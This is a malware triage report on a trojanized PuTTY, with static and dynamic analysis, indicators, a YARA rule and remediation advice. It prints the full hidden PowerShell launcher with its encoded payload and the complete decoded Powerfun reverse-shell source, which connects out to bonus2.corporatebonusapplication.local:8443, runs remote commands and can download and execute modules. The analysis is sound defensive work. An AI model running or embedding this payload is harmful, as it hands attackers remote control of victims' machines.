Malware Analysis Reporting

Prepared a Malware Analysis Report.


Malware Analysis & Triage Report


Biscotti Diskette Research Malware Bundle


Dec 2025 | Biscotti Diskette | v1.0


Table of Contents


Executive Summary

BDPortBundle is a collection of malware samples that have been recovered from a range of clients. These samples have a variety of different technologies that they utilize to achieve their objectives. A chart has been included for quick reference to the different samples that have been analyzed. All samples were discovered in Q4 2025 with analysis beginning immediately.

YARA signature rules are attached in Appendix A.


High-level Sample Summary

Sample Number Sample Name BD Code Name Malware Type SHA256 Hash
1 putty.exe SillyPutty Trojanized PuTTY/Fileless Backdoor 0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83


Technical Analysis Walkthrough


SAMPLE 1 Analysis Walkthrough


Summary

A trojanized version of PuTTY was discovered that contains an embedded PowerShell backdoor. While the PuTTY interface appears legitimate, the executable quietly decodes and runs a hidden payload entirely in memory. This payload establishes an encrypted reverse connection to an attacker controlled server, giving the adversary interactive remote access to the system.

Because the malware operates without dropping additional files or creating persistence, it is difficult to detect using traditional antivirus tools. Its design suggests targeted exploitation rather than broad distribution. Immediate containment, host memory analysis, and credential auditing are recommended.


Basic Facts

  • File Type:
    • Windows PE EXE (PuTTY) – trojanized, legitimate UI preserved.
    • Contains embedded, Base64-encoded malicious payload inside.
  • Obfuscation:
    • Clean PuTTY UI and functionality preserved as a decoy.
    • Payload hidden as Base64 blob.
    • No dropped artifacts → fileless second stage.
    • PowerShell injected into legitimate PuTTY.exe binary.
  • Behavior:
    • User launches trojanized putty.exe.
    • Legit PuTTY window renders normally (decoy).
    • Hidden thread spawns in background.
    • Malicious Base64 decoded in memory.
    • PowerFun backdoor payload base64 decode and executed in memory.

Timeline

T+0:00 User double-clicks putty.exe
T+0:01 PuTTY UI window renders (decoy)
T+0:02 Hidden PowerShell process spawned with evasion flags
T+0:03 Base64 payload decoded in memory
T+0:04 Gzip decompression
T+0:05 PowerFun backdoor executed
T+0:06 DNS query for bonus2.corporatebonusapplication.local
T+0:07 TLS connection established to C2 (port 8443)
T+0:08 Reverse shell active, awaiting commands


Basic Static Analysis


The first step is to run file against the binary to determine what the file is. This is a 32-bit Windows executable.

cmder.exe

C:\Users\win\Desktop
λ file putty.exe
putty.exe: PE32 executable (GUI) Intel 80386, for MS Windows, 10 sections

  


Next, run FLOSS to extract strings from the binary. Output is redacted for brevity.

cmder.exe

C:\Users\win\Desktop
λ FLOSS.exe putty.exe > puttyfloss.txt
INFO: floss: extracting static strings
WARNING: viv_utils: cfg: incomplete control flow graph
WARNING: viv_utils: cfg: incomplete control flow graph
WARNING: viv_utils: cfg: incomplete control flow graph
WARNING: viv_utils: cfg: incomplete control flow graph
finding decoding function features: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 2786/2786 [00:14<00:00, 189.45 functions/s, skipped 675 library functions (24%)] INFO: floss.stackstrings: extracting stackstrings from 1993 functions
INFO: floss.results: Proxy error:
INFO: floss.results: 0WB4
INFO: floss.results: 1WB4
INFO: floss.results: xzzz
INFO: floss.results: xzzz
INFO: floss.results: xzzz
INFO: floss.results: xzzz
INFO: floss.results: 0.0.0.0
extracting stackstrings: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 1993/1993 [00:24<00:00, 81.28 functions/s] INFO: floss.tightstrings: extracting tightstrings from 105 functions...
INFO: floss.results: 7377
INFO: floss.results: w737
INFO: floss.results: 373?3;3
INFO: floss.results: 37373?3
INFO: floss.results: j:,4;87
INFO: floss.results: EbPZ
INFO: floss.results: BRix
extracting tightstrings from function 0x49e120: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 105/105 [00:10<00:00, 10.26 functions/s] INFO: floss.string_decoder: decoding strings
INFO: floss.results: Assertion failed!
INFO: floss.results: File: ../memory.c
emulating function 0x46d418 (call 15/111): 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 56/56 [00:43<00:00,  1.29 functions/s] INFO: floss: finished execution after 205.44 seconds
INFO: floss: rendering results

  


Reviewing the string list reveals a PowerShell command not present in standard PuTTY binaries.


Extract the Powershell command so it can be properly reviewed.

PowerShell

powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHlLUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHlZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NlWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYqI3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lznQ54afCsrcy2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

  


The PowerShell command sets four options when executing:

  • -nop: No profile
  • -w hidden: Hidden window
  • -noni: Non-interactive
  • -ep bypass: Execution Policy bypass

This configuration is characteristic of malicious PowerShell usage.


It uses scriptblock::create to dynamically generate executable PowerShell code at runtime, avoiding disk writes and operating as a fileless attack.

PowerShell

&([scriptblock]::create( ... ))

  


The first characters in the Base64 blob indicate it is a gzip-compressed file.

PowerShell

[System.Convert]::FromBase64String('H4sIAO...')

  


The second part of the script converts that blob into bytes and loads it into a memory stream. It decompresses bytes using gzip and reads the plaintext payload. It hands the results back to the ScriptBlock::Create() function and runs it directly in memory.

PowerShell

     [System.Convert]::FromBase64String('H4sIAO...')
     New-Object System.IO.MemoryStream
     New-Object System.IO.Compression.GzipStream(..., Decompress)
     New-Object System.IO.StreamReader(...).ReadToEnd()

  


The base64 blob needs to be decoded into a file for further analysis. Run file to confirm that the extracted file is valid.

payload.gz b76be7c97a3d4c5d69041b5fe4ccaf450e4a34d432dbbc8bd548711a5085e703
bash

remnux@remnux:~$ echo 'H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHlLUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHlZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NlWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYqI3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lznQ54afCsrcy2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA==' | base64 -d > payload.gz
remnux@remnux:~$ file payload.gz 
payload.gz: gzip compressed data, last modified: Mon Sep 27 12:58:13 2021, max compression, from Unix, original size modulo 2^32 2421

  


Decompress the gz archive. Run file again to check what was just extracted.

bash

remnux@remnux:~$ gzip -d payload.gz 
remnux@remnux:~$ ls
Desktop    Downloads  payload   Public  sheetsForFinancial.xlsm  Videos
Documents  Music      Pictures  sheets  Templates
remnux@remnux:~$ file payload 
payload: ASCII text

  


Check the underlying Powershell code that was embedded in the Powershell payload.

bash

remnux@remnux:~$ cat payload

  
PowerShell

# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient 
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun 
{ 
    Param( 
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    ) 
    Process {
    $modules = @()  
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]8443
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 
    if ($Command -eq "reverse")
    {
        $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true") 
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local") 
        $stream = $sslStream 
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()  
    }
    $client.Close()
    $listener.Stop()
    }
}

powerfun -Command reverse -Sslcon true

  


The new code contains the Command and Control (C2) server domain name and port number.


The front comment confirms the Powerfun backdoor payload.

PowerShell

# Powerfun - Written by Ben Turner & Dave Hardy

  


The WebClient library allows downloading additional malicious components, bypassing corporate proxies using the victim’s own NTLM credentials.

PowerShell

$wc = New-Object Net.WebClient
$wc.UseDefaultCredentials = $true
$wc.Proxy.Credentials = $wc.Credentials

  


There is function called Powerfun that is the function that provides the core functionality. There are two modes, bind mode and reverse mode. Bind mode opens a port on the victim machine, and the attacker connects in to the new port. Reverse mode connects out to an attackers server and port. This is because most firewalls block inbound connections.

PowerShell

    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]8443
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 
    if ($Command -eq "reverse")
    {
        $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)
    }

  


The payload has also has TLS wrapping for the stream

PowerShell

$sslStream = New-Object System.Net.Security.SslStream(...)
$sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local")
$stream = $sslStream

  


The socket processing starts by sending the banner with the username and hostname. Then, it enters a full I/O loop. It executes arbitrary PowerShell using Invoke-Expression. Finally, it sends the output back to the operator.

PowerShell

$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()  

  


There also a section for downloads.

PowerShell

if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

  


The script hides its tracks and ends gracefully.

PowerShell

$client.Close()
$listener.Stop()

  


Now, that the code has been reviewed. Execution will confirm the findings.

PowerShell

powerfun -Command reverse -Sslcon true

  


Basic Dynamic Analysis


Start Procmon and configure filters for the putty.exe and powershell.exe process names.


INETSim doesn’t serve port 8443, so a netcat listener is used to capture the connection. Typically, ncat or socat would handle SSL, but REMnux lacks these tools—nc suffices for this analysis.

bash

remnux@remnux:~$ nc -nlvp 8443
Listening on 0.0.0.0 8443

  


Start Regshot and take the 1st Shot.


Detonate the putty.exe executable. PowerShell opens briefly behind PuTTY but closes too quickly to capture.


DNS results in Wireshark confirm the domain identified in static analysis.


The shell receives encrypted data. Testing with whoami causes a crash—the TLS encryption prevents plaintext command execution without proper SSL handling.

bash

remnux@remnux:~$ nc -nlvp 8443
Listening on 0.0.0.0 8443
Connection received on 10.0.0.23 50281
��i.���r���%.��{0�j���<���BE}*�,�+�0�/���$�#�(�'�
�	����=<5/
l+)&bonus2.corporatebonusapplication.local

#�whoami


  


The TLS communication can be viewed in Wireshark on the REMNux machine.


Take the 2nd Shot in Regshot. Output review reveals no persistence-related registry modifications.


Rerunning the payload shows the PowerShell connection in TCPView, connecting from local port 50241 to C2 port 8443.


Process Hacker reveals the full process tree.


Procmon confirms the PowerShell command identified in static analysis.


Advanced Static Analysis

No advanced static analysis was required. The PowerShell payload provided direct source code access.


Advanced Dynamic Analysis

No advanced dynamic analysis was required. The PowerShell payload provided direct source code access.


Indicators of Compromise

  • Network/Host IoCs
    • Domain/C2: bonus2.corporatebonusapplication.local
    • TCP Port: 8443
  • Strings/script IoCs
    • powershell.exe -nop -w hidden -noni -ep bypass
    • &([scriptblock]::create(
    • New-Object System.IO.StreamReader(
    • New-Object System.IO.Compression.GzipStream(
    • New-Object System.IO.MemoryStream(
    • [System.Convert]::FromBase64String(
    • H4sI
    • [System.IO.Compression.CompressionMode]::Decompress
  • Behavioral IoCs
    • PowerShell launched with flags: -nop -w hidden -noni -ep bypass
    • PowerShell reading commands from a socket & using Invoke-Expression
    • Use of WebClient.DownloadString(…) Invoke-Expression (live module download & execution)
    • Uses gzip to decompress embedded archive file (b76be7c97a3d4c5d69041b5fe4ccaf450e4a34d432dbbc8bd548711a5085e703)


YARA Rules

bash

rule PowerFun_ReverseShell_Memory
{
    meta:
        description = "Detects in-memory decoded PowerFun PowerShell reverse shell"

    strings:
        // PowerShell evasion flags
        $ps1 = "powershell" nocase ascii wide
        $ps2 = "-nop" nocase ascii wide
        $ps3 = "-w hidden" nocase ascii wide
        $ps4 = "-ep bypass" nocase ascii wide

        // ScriptBlock and decompression
        $sb1 = "scriptblock" nocase ascii wide
        $sb2 = "System.IO.Compression.GzipStream" nocase ascii wide
        $sb3 = "System.IO.MemoryStream" nocase ascii wide
        $sb4 = "FromBase64String" nocase ascii wide

        // Gzip magic bytes
        $gzip = "H4sI"  // Gzip header

    condition:
        // PowerShell evasion + compression stack
        (3 of ($ps*)) and (2 of ($sb*)) 
        or
        // Gzip + Base64 combination
        ($gzip and $sb4)
}

  

Recommendations

  • Immediate Actions:
    • Block C2 domain: bonus2.corporatebonusapplication.local (add to DNS sinkhole)
    • Block outbound connections to port 8443 (if not business-critical)
    • Hunt for IOCs across environment (search for PowerShell commands with -nop -w hidden -ep bypass)
    • Review firewall logs for connections to identified C2 infrastructure
  • Detection Improvements:
    • Deploy YARA rule to EDR/SIEM
    • Alert on PowerShell launched with multiple evasion flags
    • Monitor for Base64-encoded Gzip payloads in memory
    • Alert on outbound TLS connections to non-standard ports
  • Remediation:
    • Isolate affected hosts immediately
    • Credential reset for affected users (assume compromise)
    • Reimage compromised systems (fileless malware is difficult to fully remediate)
  • Long-term:
    • Implement application whitelisting (prevent trojanized executables)
    • Enable PowerShell logging (Script Block Logging, Transcription)
    • User awareness training on trojanized applications


MITRE Mapping

  • T1071.001 – Application Layer Protocol: Web Protocols (PowerShell over TLS)
  • T1059.001 – PowerShell (Command and scripting interpreter)
  • T1219/T1105 – Remote File Copy / Exfil via WebClient downloads + remote module fetch
  • T1573 – Encrypted Channel (use of SSL/TLS with certificate validation bypass)
  • T1078 – Valid Accounts (proxy credential usage implication)
  • T1053 – Scheduled Task (post-compromise persistence possibility)
  • T1027 – Obfuscated files or information (Base64 + Gzip compression)


Process Tree

bash

explorer.exe (PID: 2284)
     └─ putty.exe (PID: 2294)
          └─ powershell.exe (PID: 5232)
               └─ conhost.exe (PID: 3928)

  


Appendix